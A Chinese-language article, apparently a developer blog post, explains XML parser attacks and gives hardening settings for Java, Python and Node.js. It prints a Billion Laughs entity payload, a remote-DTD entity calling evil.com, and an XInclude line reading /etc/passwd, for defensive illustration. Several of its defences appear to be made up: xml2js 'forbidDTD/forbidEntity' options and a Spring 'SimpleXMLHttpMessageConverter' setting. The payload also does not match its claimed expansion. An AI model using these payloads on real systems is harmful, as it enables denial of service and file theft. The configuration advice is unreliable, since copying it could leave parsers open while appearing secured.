小张刚写完一个读取配置文件的Java程序,上线没两天就被用户反馈“系统卡死、CPU飙到100%”。查了半天,发现是有人往XML配置里塞了一段看似无害的实体引用:
<!DOCTYPE foo [ <!ENTITY x "1" > <!ENTITY y "&x;&x;&x;&x;&x;" > <!ENTITY z "&y;&y;&y;&y;&y;" > ]><root>&z;</root>这段代码触发了经典的“Billion Laughs”攻击——几KB的XML让解析器瞬间生成上亿个字符,内存直接爆掉。为什么XML解析会变“定时炸弹”?
XML本身设计得很灵活,支持外部实体、DTD声明、XInclude等特性。但这些功能在服务端解析不可信输入时,就成了攻击者的突破口。比如,用<!ENTITY % remote SYSTEM "http://evil.com/evil.dtd">就能让服务器主动去请求恶意远程文件;再配合<xi:include href="file:///etc/passwd"/>,连服务器上的密码文件都能被读出来。
常见风险场景,看看你有没有中过招
· 后台接收用户上传的XML简历或订单数据,直接丢给DocumentBuilder.parse()处理;
· 用Python的xml.etree.ElementTree解析第三方API返回的XML,没关掉外部实体;
· Spring Boot项目里用了SimpleXMLHttpMessageConverter,却没配disableExternalEntities(true)。
怎么防?三招够用
Java(JAXP):
设置工厂属性,禁用外部DTD和实体:
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);Python(lxml):
明确指定解析器不加载外部实体:
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.parse(xml_file, parser)Node.js(xml2js):
初始化时关闭DTD和实体解析:
const xml2js = require('xml2js');
const parser = new xml2js.Parser({
explicitRoot: false,
ignoreAttrs: true,
forbidDTD: true,
forbidEntity: true
});记住一句话:只要XML来源不可信,就默认它“有敌意”。别图省事跳过安全配置,也别迷信“我只用ElementTree,肯定安全”——不设防的解析器,就像开着门的保险柜。